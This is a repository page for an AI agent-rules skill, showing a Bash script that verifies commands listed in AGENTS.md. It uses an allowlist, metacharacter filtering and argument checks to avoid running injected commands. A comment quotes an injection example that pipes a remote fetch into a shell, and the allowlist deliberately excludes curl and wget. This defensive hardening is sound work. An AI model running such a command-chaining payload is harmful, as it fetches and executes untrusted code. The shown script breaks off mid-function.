Skip to content

netresearch/agent-rules-skill / skills/agent-rules

agent-rules

Flagged

Use when creating or updating AGENTS.md files, .github/copilot-instructions.md, or other AI agent rule files, onboarding AI agents to a project, standardizing agent documentation, or when anyone mentions AGENTS.md, agent rules, project onboarding, or codebase documentation for AI agents.

FileKindSize
AGENTS.mdmarkdown4.0 KB
CLAUDE.mdmarkdown9 B
SKILL.mdskill md5.2 KB
assets/.markdownlint-cli2.jsoncother624 B
assets/example-workflows/validate-agents.ymlconfig2.8 KB
assets/root-thin.mdmarkdown5.7 KB
assets/root-verbose.mdmarkdown5.5 KB
assets/scoped/backend-go.mdmarkdown3.6 KB
assets/scoped/backend-php.mdmarkdown3.0 KB
assets/scoped/backend-python.mdmarkdown2.6 KB
assets/scoped/backend-typescript.mdmarkdown2.8 KB
assets/scoped/claude-code-skill.mdmarkdown3.4 KB
assets/scoped/cli.mdmarkdown2.7 KB
assets/scoped/concourse.mdmarkdown5.2 KB
assets/scoped/ddev.mdmarkdown2.4 KB
assets/scoped/docker.mdmarkdown5.3 KB
assets/scoped/documentation.mdmarkdown3.5 KB
assets/scoped/examples.mdmarkdown3.4 KB
assets/scoped/frontend-typescript.mdmarkdown2.7 KB
assets/scoped/github-actions.mdmarkdown5.2 KB
assets/scoped/gitlab-ci.mdmarkdown4.6 KB
assets/scoped/oro-bundle.mdmarkdown6.5 KB
assets/scoped/oro-project.mdmarkdown5.5 KB
assets/scoped/python-modern.mdmarkdown6.1 KB
assets/scoped/resources.mdmarkdown3.5 KB
assets/scoped/skill-repo.mdmarkdown5.4 KB
assets/scoped/symfony.mdmarkdown5.3 KB
assets/scoped/testing.mdmarkdown3.0 KB
assets/scoped/typo3-docs.mdmarkdown3.6 KB
assets/scoped/typo3-extension.mdmarkdown5.1 KB
assets/scoped/typo3-project.mdmarkdown4.7 KB
assets/scoped/typo3-testing.mdmarkdown3.0 KB
checkpoints.yamlconfig14.4 KB
evals/evals.jsonconfig22.9 KB
references/ai-contribution-guidelines.mdmarkdown2.6 KB
references/ai-tool-compatibility.mdmarkdown8.0 KB
references/directory-coverage.mdmarkdown2.5 KB
references/examples/coding-agent-cli/AGENTS.mdmarkdown2.5 KB
references/examples/coding-agent-cli/go.modmanifest45 B
references/examples/coding-agent-cli/scripts-AGENTS.mdmarkdown10.1 KB
references/examples/express-api-ts/.env.exampleother232 B
references/examples/express-api-ts/AGENTS.mdmarkdown3.1 KB
references/examples/express-api-ts/package.jsonmanifest757 B
references/examples/express-api-ts/pnpm-lock.yamlmanifest101 B
references/examples/express-api-ts/src/AGENTS.mdmarkdown3.1 KB
references/examples/express-api-ts/src/config.tsscript917 B
references/examples/express-api-ts/src/controllers/userController.tsscript2.1 KB
references/examples/express-api-ts/src/index.tsscript671 B
references/examples/express-api-ts/src/middleware/errorHandler.tsscript1.0 KB
references/examples/express-api-ts/src/middleware/requestLogger.tsscript471 B
references/examples/express-api-ts/src/routes/health.tsscript428 B
references/examples/express-api-ts/src/routes/users.tsscript397 B
references/examples/express-api-ts/src/utils/errors.tsscript1.2 KB
references/examples/express-api-ts/src/utils/logger.tsscript441 B
references/examples/express-api-ts/tsconfig.jsonconfig630 B
references/examples/fastapi-app/.env.exampleother348 B
references/examples/fastapi-app/AGENTS.mdmarkdown3.2 KB
references/examples/fastapi-app/pyproject.tomlmanifest1.8 KB
references/examples/fastapi-app/src/AGENTS.mdmarkdown2.9 KB
references/examples/fastapi-app/src/__init__.pyscript58 B
references/examples/fastapi-app/src/config.pyscript1.1 KB
references/examples/fastapi-app/src/main.pyscript1.7 KB
references/examples/fastapi-app/src/models/__init__.pyscript278 B
references/examples/fastapi-app/src/models/item.pyscript1.0 KB
references/examples/fastapi-app/src/models/user.pyscript922 B
references/examples/fastapi-app/src/routes/__init__.pyscript110 B
references/examples/fastapi-app/src/routes/health.pyscript470 B
references/examples/fastapi-app/src/routes/items.pyscript1.9 KB
references/examples/fastapi-app/src/routes/users.pyscript1.7 KB
references/examples/fastapi-app/src/services/__init__.pyscript174 B
references/examples/fastapi-app/src/services/item_service.pyscript2.5 KB
references/examples/fastapi-app/src/services/user_service.pyscript2.1 KB
references/examples/fastapi-app/uv.lockmanifest136 B
references/examples/go-api-with-react-admin/.scopesother93 B
references/examples/go-api-with-react-admin/AGENTS.mdmarkdown3.0 KB
references/examples/go-api-with-react-admin/admin/package.jsonmanifest423 B
references/examples/go-api-with-react-admin/admin/src/App.tsxother101 B
references/examples/go-api-with-react-admin/cmd/api/main.goscript75 B
references/examples/go-api-with-react-admin/go.modmanifest31 B
references/examples/go-api-with-react-admin/main.goscript71 B
references/examples/go-with-internal-web-tsx/.scopesother102 B
references/examples/go-with-internal-web-tsx/AGENTS.mdmarkdown3.1 KB
references/examples/go-with-internal-web-tsx/go.modmanifest34 B
references/examples/go-with-internal-web-tsx/internal/web/AGENTS.mdmarkdown3.1 KB
references/examples/go-with-internal-web-tsx/internal/web/package.jsonmanifest329 B
references/examples/go-with-internal-web-tsx/internal/web/src/App.tsxother57 B
references/examples/go-with-internal-web-tsx/internal/web/src/Button.tsxother63 B
references/examples/go-with-internal-web-tsx/internal/web/src/Footer.tsxother63 B
references/examples/go-with-internal-web-tsx/internal/web/src/Header.tsxother63 B
references/examples/go-with-internal-web-tsx/internal/web/src/Sidebar.tsxother65 B
references/examples/go-with-internal-web-tsx/main.goscript85 B
references/examples/go-with-internal-web-tsx/package-lock.jsonmanifest87 B
references/examples/go-with-internal-web-tsx/package.jsonmanifest221 B
references/examples/ldap-selfservice/AGENTS.mdmarkdown2.5 KB
references/examples/ldap-selfservice/go.modmanifest45 B
references/examples/ldap-selfservice/internal-AGENTS.mdmarkdown10.0 KB
references/examples/ldap-selfservice/internal-web-AGENTS.mdmarkdown12.1 KB
references/examples/php-with-frontend/.scopesother89 B
references/examples/php-with-frontend/AGENTS.mdmarkdown3.1 KB
references/examples/php-with-frontend/composer.jsonconfig185 B
references/examples/php-with-frontend/package.jsonmanifest307 B
references/examples/php-with-frontend/pnpm-lock.yamlmanifest101 B
references/examples/php-with-frontend/src/Controller.phpscript41 B
references/examples/php-with-frontend/web/AGENTS.mdmarkdown3.1 KB
references/examples/php-with-frontend/web/package.jsonmanifest515 B
references/examples/php-with-frontend/web/src/App.tsxother63 B
references/examples/php-with-frontend/web/src/Button.tsxother215 B
references/examples/php-with-frontend/web/src/Footer.tsxother125 B
references/examples/php-with-frontend/web/src/Header.tsxother122 B
references/examples/php-with-frontend/web/src/main.tsxother41 B
references/examples/php-with-frontend/web/tsconfig.jsonconfig280 B
references/examples/pnpm-workspace/AGENTS.mdmarkdown2.6 KB
references/examples/pnpm-workspace/package.jsonmanifest105 B
references/examples/pnpm-workspace/packages/web/package.jsonmanifest187 B
references/examples/pnpm-workspace/packages/web/src/index.tsxother258 B
references/examples/pnpm-workspace/pnpm-lock.yamlmanifest920 B
references/examples/pnpm-workspace/pnpm-workspace.yamlconfig27 B
references/examples/simple-ldap-go/AGENTS.mdmarkdown2.5 KB
references/examples/simple-ldap-go/examples-AGENTS.mdmarkdown1.8 KB
references/examples/simple-ldap-go/go.modmanifest43 B
references/examples/t3x-rte-ckeditor-image/AGENTS.mdmarkdown2.5 KB
references/examples/t3x-rte-ckeditor-image/Classes-AGENTS.mdmarkdown12.0 KB
references/examples/t3x-rte-ckeditor-image/composer.jsonconfig174 B
references/feedback-memory-schema.mdmarkdown6.2 KB
references/fleet-sync-sweep.mdmarkdown4.8 KB
references/git-hooks-setup.mdmarkdown2.5 KB
references/output-structure.mdmarkdown5.4 KB
references/quality-rubric.mdmarkdown6.2 KB
references/scripts-guide.mdmarkdown7.7 KB
references/verification-guide.mdmarkdown9.4 KB
scripts/analyze-git-history.shexecutablescript10.2 KB
scripts/check-freshness.shexecutablescript8.9 KB
scripts/detect-golden-samples.shexecutablescript5.7 KB
scripts/detect-heuristics.shexecutablescript3.2 KB
scripts/detect-project.shexecutablescript19.6 KB
scripts/detect-scopes.shexecutablescript13.4 KB
scripts/detect-utilities.shexecutablescript4.6 KB
scripts/extract-adrs.shexecutablescript6.8 KB
scripts/extract-agent-configs.shexecutablescript9.3 KB
scripts/extract-architecture-rules.shexecutablescript19.9 KB
scripts/extract-ci-commands.shexecutablescript12.5 KB
scripts/extract-ci-rules.shexecutablescript16.1 KB
scripts/extract-commands.shexecutablescript11.9 KB
scripts/extract-documentation.shexecutablescript7.8 KB
scripts/extract-github-rulesets.shexecutablescript3.8 KB
scripts/extract-github-settings.shexecutablescript3.6 KB
scripts/extract-ide-settings.shexecutablescript7.0 KB
scripts/extract-platform-files.shexecutablescript8.0 KB
scripts/extract-quality-configs.shexecutablescript14.9 KB
scripts/generate-agents.shexecutablescript118.2 KB
scripts/generate-file-map.shexecutablescript4.6 KB
scripts/lib/config-root.shexecutablescript5.8 KB
scripts/lib/git.shscript1.2 KB
scripts/lib/summary.shscript11.7 KB
scripts/lib/template.shexecutablescript15.9 KB
scripts/score-agents.shexecutablescript9.8 KB
scripts/tests/test-agents-file-write-boundary.shscript5.8 KB
scripts/tests/test-agents-scan-dependency-trees.shexecutablescript4.5 KB
scripts/tests/test-changelog-rule.shexecutablescript3.4 KB
scripts/tests/test-claude-import-file.shscript3.3 KB
scripts/tests/test-command-allowlist.shexecutablescript4.7 KB
scripts/tests/test-dependency-tree-exclusion.shscript2.5 KB
scripts/tests/test-extract-commands-real-scripts.shexecutablescript4.0 KB
scripts/tests/test-git-history-counts.shexecutablescript3.6 KB
scripts/tests/test-golden-sample-file-names.shexecutablescript2.2 KB
scripts/tests/test-json-manifest.shexecutablescript5.5 KB
scripts/tests/test-last-verified-opt-in.shscript1.6 KB
scripts/tests/test-make-target-lookup.shscript2.5 KB
scripts/tests/test-merge-heuristic.shscript1.8 KB
scripts/tests/test-scope-index-heading.shexecutablescript4.4 KB
scripts/tests/test-scope-index-keeps-existing.shexecutablescript2.5 KB
scripts/tests/test-symlink-write-boundary.shexecutablescript6.3 KB
scripts/tests/test-untrusted-git-config.shscript5.0 KB
scripts/tests/test-verification-sidecar.shscript2.7 KB
scripts/validate-structure.shexecutablescript13.3 KB
scripts/verify-commands.shexecutablescript32.5 KB
scripts/verify-content.shexecutablescript13.2 KB

scripts/verify-commands.sh

View on GitHub
#!/usr/bin/env bash
# SPDX-License-Identifier: MIT
# SPDX-FileCopyrightText: Netresearch DTT GmbH
# Verify that commands documented in AGENTS.md actually work
# This prevents "command rot" - documented commands that no longer exist
# Requires: Bash 4.0+ (for associative arrays)
set -euo pipefail

# Check Bash version - we need 4.0+ for associative arrays (declare -A)
if ((BASH_VERSINFO[0] < 4)); then
    echo "Error: Bash 4.0+ required (found ${BASH_VERSION})." >&2
    echo "On macOS: brew install bash" >&2
    exit 1
fi

PROJECT_DIR="."
JSON=false
UPDATE_VERIFIED=false

# Parse flags. Preserves the original positional semantics (PROJECT_DIR="${1:-.}"):
# the first non-flag argument becomes PROJECT_DIR, defaulting to "." when absent.
while [[ $# -gt 0 ]]; do
    case $1 in
        --json)
            JSON=true
            shift
            ;;
        --update-verified)
            UPDATE_VERIFIED=true
            shift
            ;;
        --help|-h)
            cat <<EOF
Usage: verify-commands.sh [PROJECT_DIR] [OPTIONS]

Verify that commands documented in AGENTS.md actually exist (and optionally run).

Options:
  --json                Emit machine-readable JSON on stdout (human output suppressed)
  --update-verified     On success, record today's date in the "Last verified"
                        marker of AGENTS.md (without it, AGENTS.md is not changed)
  --help, -h            Show this help message

Environment variables:
  VERBOSE=true          Show detailed [INFO] output on stderr
  DRY_RUN=true          Skip writing the JSON sidecar and the --update-verified date
  SMOKE_TEST=true       Actually run safe commands (not just check existence)
  TIMEOUT=SECONDS       Per-command timeout for smoke tests (default: 60)
  OUTPUT_JSON=PATH      Sidecar results file (default: PROJECT_DIR/.agents/command-verification.json)

Examples:
  verify-commands.sh .                     # Verify commands in ./AGENTS.md
  verify-commands.sh . --json              # Machine-readable JSON output
EOF
            exit 0
            ;;
        *)
            PROJECT_DIR="$1"
            shift
            ;;
    esac
done

AGENTS_FILE="$PROJECT_DIR/AGENTS.md"
VERBOSE="${VERBOSE:-false}"
DRY_RUN="${DRY_RUN:-false}"
SMOKE_TEST="${SMOKE_TEST:-false}"
TIMEOUT="${TIMEOUT:-60}"
# The default sidecar lives inside the analysed project, so it is only written
# when its directory is a real directory there (see write_json_results).
OUTPUT_JSON_IS_DEFAULT=false
[ -z "${OUTPUT_JSON:-}" ] && OUTPUT_JSON_IS_DEFAULT=true
OUTPUT_JSON="${OUTPUT_JSON:-$PROJECT_DIR/.agents/command-verification.json}"

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

log() {
    if [ "$VERBOSE" = true ]; then
        echo -e "[INFO] $*" >&2
    fi
}

error() {
    echo -e "${RED}[ERROR]${NC} $*" >&2
}

success() {
    echo -e "${GREEN}[OK]${NC} $*"
}

warn() {
    echo -e "${YELLOW}[WARN]${NC} $*"
}

# Check if AGENTS.md exists
if [ ! -f "$AGENTS_FILE" ]; then
    error "AGENTS.md not found at $AGENTS_FILE"
    exit 1
fi

cd "$PROJECT_DIR"

# In JSON mode, route all human-readable output to /dev/null and reserve the
# original stdout (fd 3) for the single JSON document emitted at the end. This
# keeps --json strictly additive: the default (no-flag) path is untouched.
JSON_CMDS=()
if [[ "$JSON" = true ]]; then
    exec 3>&1 1>/dev/null
fi

echo "Verifying commands in $AGENTS_FILE..."
echo ""

FAILED=0
PASSED=0
SKIPPED=0

# JSON results storage
declare -A COMMAND_RESULTS

# Initialize JSON output directory (always needed for results). A symlinked
# .agents directory in the analysed project would put the sidecar outside it.
SIDECAR_DIR="$(dirname "$OUTPUT_JSON")"
SIDECAR_WRITABLE=true
if [ "$OUTPUT_JSON_IS_DEFAULT" = true ] && [ -L "$SIDECAR_DIR" ]; then
    SIDECAR_WRITABLE=false
else
    mkdir -p "$SIDECAR_DIR"
fi

# Check if a command is safe to execute using a whitelist approach.
# Only commands whose base binary is in the ALLOWED_COMMANDS list are permitted.
# Returns 0 if safe, 1 if not whitelisted.
#
# The command is executed later as a whole string by `bash -c`, so checking the
# first word alone decides nothing: "git status; curl http://x | sh" passes a
# base-command check and then runs both halves (#104). Anything carrying shell
# syntax that could chain, redirect or substitute a second command is therefore
# rejected outright rather than approved on its prefix.
is_safe_command() {
    local cmd="$1"

    # Shell metacharacters: command separators (; & |), substitution ($ `),
    # redirection (< >), grouping ({ } ( )), globs that could expand into
    # further arguments, and newlines. A documented build command needs none
    # of them; anything that does is not verifiable by smoke-running it.
    # A backslash is rejected too: bash -c would remove it, so "-ex\ec" would
    # reach the program as an option the checks below look for by name.
    if [[ "$cmd" == *[\;\&\|\`\$\<\>\{\}\(\)\*\?\!\\$'\n']* ]]; then
        return 1
    fi

    # Whitelist of known safe base commands.
    # These are common build/dev tools that are safe to invoke for verification.
    # Inspection tools whose own options can run a program or write a file are
    # not on it (sed, awk, sort, uniq, less, find, rg, ag, yq, file): each has
    # several such options, and none of them is a build command whose
    # documentation needs verifying.
    local -a ALLOWED_COMMANDS=(
        # Version control (only `git --version`, see has_safe_arguments)
        git
        # File inspection
        ls cat head tail wc stat grep egrep fgrep diff
        # Build tools / package managers
        make go npm yarn pnpm bun composer cargo deno gradle gradlew python python3 pip pip3
        poetry uv pytest php phpunit node ruby bundle gem mvn ant
        # Project-specific binaries (resolved via PATH or relative path)
        vendor/bin
        # Container tools (read-only / informational subcommands only)
        docker podman
        # Linters and formatters
        eslint prettier phpcs phpcbf phpstan psalm rector black flake8 mypy ruff shellcheck
        # Documentation / misc
        # curl/wget are deliberately absent: fetching a URL is not a way to
        # verify that a documented build command works, and they are the two
        # entries that turn an allowlisted base command into an outbound
        # request (#104). Such commands are reported as not smoke-tested.
        jq
        # Testing
        jest vitest mocha
    )

    # Extract the base command (first word), stripping any leading ./
    local base_cmd
    base_cmd=$(echo "$cmd" | awk '{print $1}' | sed 's|^\./||')

    # Allow vendor/bin/* paths
    if [[ "$base_cmd" == vendor/bin/* ]]; then
        return 0
    fi

    # Check against whitelist, then the arguments
    for allowed in "${ALLOWED_COMMANDS[@]}"; do
        if [[ "$base_cmd" == "$allowed" ]]; then
            has_safe_arguments "$base_cmd" "$cmd"
            return
        fi
    done

    # Not in whitelist - reject
    return 1
}

# The first word decides nothing for a tool whose own arguments can run a
# command or write a file. These are allowed only in the forms that do
# neither. Quotes are removed before comparing, as bash -c would remove them.
has_safe_arguments() {
    local base="$1" cmd="$2"
    local -a words=()
    read -ra words <<<"${cmd//[\'\"]/}"
    case "$base" in
        git)
            # Any other git command reads the analysed repository's config,
            # which can name commands git runs (core.fsmonitor, filters,
            # aliases, diff drivers).
            [[ ${#words[@]} -eq 2 && ( "${words[1]}" == "--version" || "${words[1]}" == "version" ) ]]
            return
            ;;
        docker|podman)
            # Informational subcommands only, named first (no global options).
            [[ ${#words[@]} -ge 2 ]] || return 1
            case "${words[1]}" in
                version|--version|info|ps|images) return 0 ;;
                *) return 1 ;;
            esac
            ;;
    esac
    return 0
}

# Portable milliseconds timestamp (works on both GNU and BSD date)
get_time_ms() {
    # Try GNU date with nanoseconds first, fall back to seconds * 1000
    if date +%s%3N 2>/dev/null | grep -qE '^[0-9]+$'; then
        date +%s%3N
    else
        echo $(( $(date +%s) * 1000 ))
    fi
}

# Run a command with timeout and measure duration
smoke_test_command() {
    local cmd="$1"
    local start_time end_time duration_ms exit_code

    # Safety check - skip dangerous commands
    if ! is_safe_command "$cmd"; then
        warn "Not smoke-tested (not on the allowlist, or contains shell syntax): $cmd"
        COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false, "skipped": true, "reason": "safety"}'
        return 1
    fi

    start_time=$(get_time_ms)

    # Run with timeout, capture exit code
    if timeout "${TIMEOUT}s" bash -c "$cmd" > /dev/null 2>&1; then
        exit_code=0
    else
        exit_code=$?
    fi

    end_time=$(get_time_ms)
    duration_ms=$((end_time - start_time))

    # Store result
    if [ $exit_code -eq 0 ]; then
        COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": true, "duration_ms": '"$duration_ms"'}'
        return 0
    elif [ $exit_code -eq 124 ]; then
        # Timeout
        COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false, "timeout": true, "duration_ms": '"$((TIMEOUT * 1000))"'}'
        return 1
    else
        COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false, "exit_code": '"$exit_code"', "duration_ms": '"$duration_ms"'}'
        return 1
    fi
}

# Write results to JSON file
# The document is built by jq, so any command text is encoded correctly. It is
# written to a temporary file beside the target and renamed into place: a
# symlink at the target is replaced, never written through.
write_json_results() {
    if [ "$SIDECAR_WRITABLE" != true ]; then
        warn "Not writing $OUTPUT_JSON: $SIDECAR_DIR is a symlink"
        return 0
    fi

    local timestamp commands='{}' cmd tmp
    # Portable ISO 8601 timestamp (works on both GNU and BSD date)
    timestamp=$(date -u +"%Y-%m-%dT%H:%M:%SZ")

    for cmd in "${!COMMAND_RESULTS[@]}"; do
        commands=$(jq -c --arg k "$cmd" --argjson v "${COMMAND_RESULTS[$cmd]}" '. + {($k): $v}' <<<"$commands")
    done

    tmp=$(mktemp "$SIDECAR_DIR/.command-verification.XXXXXX")
    jq -n --arg t "$timestamp" --arg smoke "$SMOKE_TEST" --argjson c "$commands" \
        '{verified_at: $t, smoke_tested: ($smoke == "true"), commands: $c}' > "$tmp"
    [ -L "$OUTPUT_JSON" ] && rm -f "$OUTPUT_JSON"
    mv -f "$tmp" "$OUTPUT_JSON"

    log "Results written to $OUTPUT_JSON"
}

# Extract commands from markdown code blocks and table cells
# Look for patterns like: `command arg` or | command | or | `command` |
extract_commands() {
    # Extract from tables with backticks (| `command` | format)
    # shellcheck disable=SC2016  # grep/sed pattern: backticks are literal.
    grep -oE '\| `[^`]+`' "$AGENTS_FILE" 2>/dev/null | sed 's/| `//;s/`$//' | grep -v '^\s*$' || true

    # Extract from tables without backticks in Commands section
    # Look for lines like "| Lint | vendor/bin/php-cs-fixer fix --dry-run |"
    # Skip header row and separator row, get 3rd column (command), filter empty and time estimates
    sed -n '/^## Commands/,/^##/p' "$AGENTS_FILE" 2>/dev/null | \
        grep -E '^\|' | \
        tail -n +3 | \
        cut -d'|' -f3 | \
        sed 's/^[[:space:]]*//;s/[[:space:]]*$//' | \
        grep -v '^$' | \
        grep -v '^~' || true

    # Extract from inline code that looks like commands
    # Includes: npm, yarn, pnpm, bun, make, go, composer, cargo, python, pip, poetry, uv, deno, gradle, php, vendor/bin
    # shellcheck disable=SC2016  # grep/sed pattern: backticks are literal.
    grep -oE '`(npm |yarn |pnpm |bun |make |go |composer |cargo |pytest |python |pip |poetry |uv |deno |gradle |php |vendor/bin/)[^`]+`' "$AGENTS_FILE" 2>/dev/null | sed 's/`//g' || true
}

# Print the makefile make would read in the current directory and every file
# it includes, without running make: even `make -n` expands $(shell ...) while
# it parses, which would run the project's commands just to look up a target.
# An include naming a variable needs make to expand it and is skipped; globs
# are expanded; a file outside the project or a symlinked one is ignored.
makefile_files() {
    local first="" f word match real root
    for f in GNUmakefile makefile Makefile; do
        if [ -f "$f" ]; then first="$f"; break; fi
    done
    [ -n "$first" ] || return 0
    root="$(pwd -P)"
    local -a queue=("$first")
    local -A seen=()
    while [ "${#queue[@]}" -gt 0 ]; do
        f="${queue[0]}"
        queue=("${queue[@]:1}")
        # A symlinked makefile is skipped; the directory is resolved with
        # cd/pwd -P because macOS realpath has no -e.
        [ -L "$f" ] && continue
        [ -f "$f" ] || continue
        real="$(cd "$(dirname "$f")" 2>/dev/null && pwd -P)/$(basename "$f")" || continue
        [[ "$real" == "$root"/* ]] || continue
        [ -n "${seen[$real]:-}" ] && continue
        seen[$real]=1
        printf '%s\n' "$f"
        while IFS= read -r word; do
            [[ "$word" == *'$'* ]] && continue
            while IFS= read -r match; do
                [ -n "$match" ] && queue+=("$match")
            done < <(compgen -G "$word" || true)
        done < <(awk '/^[ \t]*(-|s)?include[ \t]/ {
                     sub(/^[ \t]*(-|s)?include[ \t]+/, ""); sub(/[ \t]*#.*/, "")
                     n = split($0, w, /[ \t]+/)
                     for (i = 1; i <= n; i++) if (w[i] != "") print w[i]
                 }' "$f")
    done
}

# Print the targets of the makefile and its includes, read as text: explicit
# targets, names listed as .PHONY prerequisites (make accepts those), and
# pattern rules such as plan-% (matched by makefile_has_target). Variable
# assignments (VAR = x, VAR := x, VAR ::= x, export VAR := x), recipe lines,
# define blocks and other special targets are not targets.
makefile_targets() {
    local f
    while IFS= read -r f; do
        awk '
            /^define[ \t]/ || /^define$/ { in_define = 1; next }
            in_define { if ($0 ~ /^endef/) in_define = 0; next }
            /^\t/ || /^[ \t]*#/ { next }
            {
                line = $0
                sub(/[ \t]*#.*/, "", line)
                p = index(line, ":")
                if (p == 0) next
                head = substr(line, 1, p - 1)
                rest = substr(line, p + 1)
                if (rest ~ /^:?=/ || head ~ /[=$]/) next
                if (head ~ /^[ \t]*\.PHONY[ \t]*$/) {
                    n = split(rest, t, /[ \t]+/)
                    for (i = 1; i <= n; i++) if (t[i] != "" && t[i] !~ /\$/) print t[i]
                    next
                }
                n = split(head, t, /[ \t]+/)
                for (i = 1; i <= n; i++)
                    if (t[i] != "" && t[i] !~ /^\./) print t[i]
            }' "$f"
    done < <(makefile_files)
}

# Is <target> a target of the makefile in the current directory, by name or
# through a pattern rule?
makefile_has_target() {
    local target="$1" targets t
    targets="$(makefile_targets)"
    grep -qxF -- "$target" <<<"$targets" && return 0
    while IFS= read -r t; do
        [[ "$t" == *%* ]] || continue
        # shellcheck disable=SC2053  # the pattern is meant to match as a glob
        [[ "$target" == ${t//%/*} ]] && return 0
    done <<<"$targets"
    return 1
}

# Verify a single command exists (not that it succeeds, just that it's callable)
verify_command() {
    local cmd="$1"
    local base_cmd

    # Extract the base command (first word)
    base_cmd=$(echo "$cmd" | awk '{print $1}')

    # Skip placeholders
    if [[ "$cmd" == *"<"* ]] || [[ "$cmd" == *"{{{"* ]]; then
        log "Skipping placeholder: $cmd"
        ((SKIPPED+=1))
        return 0
    fi

    # Skip if it's just a flag or option
    if [[ "$base_cmd" == -* ]]; then
        return 0
    fi

    log "Checking: $cmd"

    # Check different command types
    case "$base_cmd" in
        npm|yarn|pnpm|bun)
            # Check if package.json script exists
            local script="${cmd#* }"
            script="${script#run }"
            script="${script%% *}"
            if [ -f "package.json" ]; then
                local script_exists=false
                if jq -e ".scripts[\"$script\"]" package.json > /dev/null 2>&1; then
                    script_exists=true
                elif [[ "$script" =~ ^(install|test|build|start|run)$ ]]; then
                    script_exists=true
                fi

                if [ "$script_exists" = true ]; then
                    if [ "$SMOKE_TEST" = true ]; then
                        # For test commands, only verify they start (dry-run if available)
                        local test_cmd="$cmd"
                        if [[ "$script" == "test" ]]; then
                            # Try to use --help or --dry-run to avoid full test run
                            test_cmd="$base_cmd run $script -- --help 2>/dev/null || $base_cmd run $script --dry-run 2>/dev/null || true"
                        fi
                        if smoke_test_command "$test_cmd"; then
                            local duration="${COMMAND_RESULTS[$cmd]}"
                            duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
                            success "$base_cmd script works: $script (~${duration}ms)"
                            ((PASSED+=1))
                        else
                            warn "$base_cmd script exists but smoke test failed: $script"
                            COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false}'
                            ((SKIPPED+=1))
                        fi
                    else
                        success "$base_cmd script exists: $script"
                        COMMAND_RESULTS["$cmd"]='{"exists": true}'
                        ((PASSED+=1))
                    fi
                else
                    warn "$base_cmd script not found: $script (in $cmd)"
                    COMMAND_RESULTS["$cmd"]='{"exists": false}'
                    ((SKIPPED+=1))
                fi
            else
                warn "No package.json found for: $cmd"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((SKIPPED+=1))
            fi
            ;;

        make)
            # Check if Makefile target exists
            local target="${cmd#make }"
            target="${target%% *}"
            if [ -f "Makefile" ] || [ -f "makefile" ] || [ -f "GNUmakefile" ]; then
                if makefile_has_target "$target"; then
                    if [ "$SMOKE_TEST" = true ]; then
                        # Use make -n (dry run) for smoke test to avoid side effects
                        if smoke_test_command "make -n $target"; then
                            local duration="${COMMAND_RESULTS[$cmd]}"
                            duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
                            success "make target works: $target (~${duration}ms)"
                            ((PASSED+=1))
                        else
                            warn "make target exists but dry-run failed: $target"
                            COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false}'
                            ((SKIPPED+=1))
                        fi
                    else
                        success "make target exists: $target"
                        COMMAND_RESULTS["$cmd"]='{"exists": true}'
                        ((PASSED+=1))
                    fi
                else
                    error "make target not found: $target"
                    COMMAND_RESULTS["$cmd"]='{"exists": false}'
                    ((FAILED+=1))
                fi
            else
                warn "No Makefile found for: $cmd"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((SKIPPED+=1))
            fi
            ;;

        composer)
            # Check if composer script exists
            local script="${cmd#composer }"
            script="${script%% *}"
            if [ -f "composer.json" ]; then
                local script_exists=false
                if [[ "$script" =~ ^(install|update|require|remove|dump-autoload)$ ]]; then
                    script_exists=true
                elif jq -e ".scripts[\"$script\"]" composer.json > /dev/null 2>&1; then
                    script_exists=true
                fi

                if [ "$script_exists" = true ]; then
                    if [ "$SMOKE_TEST" = true ]; then
                        # For composer scripts, try --dry-run or --help
                        local test_cmd="$cmd"
                        if [[ "$script" =~ ^(install|update)$ ]]; then
                            test_cmd="composer $script --dry-run 2>/dev/null || true"
                        fi
                        if smoke_test_command "$test_cmd"; then
                            local duration="${COMMAND_RESULTS[$cmd]}"
                            duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
                            success "composer script works: $script (~${duration}ms)"
                            ((PASSED+=1))
                        else
                            warn "composer script exists but smoke test failed: $script"
                            COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false}'
                            ((SKIPPED+=1))
                        fi
                    else
                        success "composer script exists: $script"
                        COMMAND_RESULTS["$cmd"]='{"exists": true}'
                        ((PASSED+=1))
                    fi
                else
                    warn "composer script not found: $script"
                    COMMAND_RESULTS["$cmd"]='{"exists": false}'
                    ((SKIPPED+=1))
                fi
            else
                warn "No composer.json found for: $cmd"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((SKIPPED+=1))
            fi
            ;;

        python|python3|pip|pip3)
            # Python commands
            if command -v "$base_cmd" > /dev/null 2>&1; then
                success "Python command available: $base_cmd"
                COMMAND_RESULTS["$cmd"]='{"exists": true}'
                ((PASSED+=1))
            else
                warn "Python command not found: $base_cmd"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((SKIPPED+=1))
            fi
            ;;

        poetry)
            # Poetry package manager
            if command -v poetry > /dev/null 2>&1; then
                local subcmd="${cmd#poetry }"
                subcmd="${subcmd%% *}"
                if [[ "$subcmd" =~ ^(install|add|remove|update|build|publish|run|shell)$ ]]; then
                    success "poetry command: $subcmd"
                    COMMAND_RESULTS["$cmd"]='{"exists": true}'
                    ((PASSED+=1))
                else
                    # Check if it's a custom script
                    if [ -f "pyproject.toml" ] && grep -q "\[tool.poetry.scripts\]" pyproject.toml 2>/dev/null; then
                        success "poetry command available"
                        COMMAND_RESULTS["$cmd"]='{"exists": true}'
                        ((PASSED+=1))
                    else
                        warn "poetry script not found: $subcmd"
                        COMMAND_RESULTS["$cmd"]='{"exists": false}'
                        ((SKIPPED+=1))
                    fi
                fi
            else
                warn "poetry not installed"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((SKIPPED+=1))
            fi
            ;;

        uv)
            # uv package manager
            if command -v uv > /dev/null 2>&1; then
                success "uv command available"
